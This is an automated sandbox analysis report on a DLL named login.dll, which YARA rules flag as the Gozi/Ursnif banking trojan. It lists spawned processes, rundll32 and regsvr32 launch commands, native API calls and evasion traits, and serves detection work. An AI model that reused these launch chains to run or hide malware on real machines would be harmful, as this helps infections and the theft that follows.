      Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF22A40_2_02BF22A4
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5C1400_2_6CB5C140
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C516DF0_2_02C516DF
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C5832C0_2_02C5832C
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C51D8A0_2_02C51D8A
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF22A43_2_02DF22A4
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_047822A44_2_047822A4
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE16DF4_2_04BE16DF
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE1D8A4_2_04BE1D8A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE832C4_2_04BE832C
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC22A45_2_04CC22A4
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D516DF5_2_04D516DF
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D51D8A5_2_04D51D8A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D5832C5_2_04D5832C
      Source: C:\Windows\System32\loaddll32.exeCode function: String function: 6CB42490 appears 48 times
      Source: C:\Windows\System32\loaddll32.exeCode function: String function: 6CB5B1D0 appears 33 times
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,0_2_02BF1226
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1E76 GetProcAddress,NtCreateSection,memset,0_2_02BF1E76
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF205B NtMapViewOfSection,0_2_02BF205B
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF24C5 NtQueryVirtualMemory,0_2_02BF24C5
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C5421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,0_2_02C5421F
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C58551 NtQueryVirtualMemory,0_2_02C58551
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B90D8D NtFreeVirtualMemory,0_2_02B90D8D
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B90D2E NtAllocateVirtualMemory,0_2_02B90D2E
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF205B NtMapViewOfSection,3_2_02DF205B
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF1E76 GetProcAddress,NtCreateSection,memset,3_2_02DF1E76
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF1226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,3_2_02DF1226
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF24C5 NtQueryVirtualMemory,3_2_02DF24C5
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D20D8D NtFreeVirtualMemory,3_2_00D20D8D
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D20D2E NtAllocateVirtualMemory,3_2_00D20D2E
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04781E76 GetProcAddress,NtCreateSection,memset,4_2_04781E76
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_0478205B NtMapViewOfSection,4_2_0478205B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04781226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,4_2_04781226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_047824C5 NtQueryVirtualMemory,4_2_047824C5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,4_2_04BE421F
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE8551 NtQueryVirtualMemory,4_2_04BE8551
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04730D2E NtAllocateVirtualMemory,4_2_04730D2E
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04730D8D NtFreeVirtualMemory,4_2_04730D8D
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC205B NtMapViewOfSection,5_2_04CC205B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC1E76 GetProcAddress,NtCreateSection,memset,5_2_04CC1E76
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC1226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,5_2_04CC1226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC24C5 NtQueryVirtualMemory,5_2_04CC24C5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D5421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,5_2_04D5421F
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D58551 NtQueryVirtualMemory,5_2_04D58551
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C80D8D NtFreeVirtualMemory,5_2_04C80D8D
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C80D2E NtAllocateVirtualMemory,5_2_04C80D2E
      Source: login.dllBinary or memory string: OriginalFilenameavguard_ld.exeJ vs login.dll
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
      Source: login.dllReversingLabs: Detection: 15%
      Source: login.dllVirustotal: Detection: 16%
      Source: login.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\login.dll"
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dll
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dllJump to behavior
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServerJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
      Source: classification engineClassification label: mal96.troj.evad.winDLL@10/0@9/3
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C530D5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,0_2_02C530D5
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5148:120:WilError_01
      Source: C:\Windows\System32\loaddll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\System32\loaddll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: login.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
      Source: login.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF2293 push ecx; ret 0_2_02BF22A3
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF2240 push ecx; ret 0_2_02BF2249
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB68773 push ecx; ret 0_2_6CB68786
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C5831B push ecx; ret 0_2_02C5832B
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C57F30 push ecx; ret 0_2_02C57F39
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF2240 push ecx; ret 3_2_02DF2249
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_02DF2293 push ecx; ret 3_2_02DF22A3
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04782240 push ecx; ret 4_2_04782249
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04782293 push ecx; ret 4_2_047822A3
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE7F30 push ecx; ret 4_2_04BE7F39
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE831B push ecx; ret 4_2_04BE832B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC2240 push ecx; ret 5_2_04CC2249
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04CC2293 push ecx; ret 5_2_04CC22A3
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D5831B push ecx; ret 5_2_04D5832B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D57F30 push ecx; ret 5_2_04D57F39
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1CEB LoadLibraryA,GetProcAddress,0_2_02BF1CEB
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dll

      Hooking and other Techniques for Hiding and Protection

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTR
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
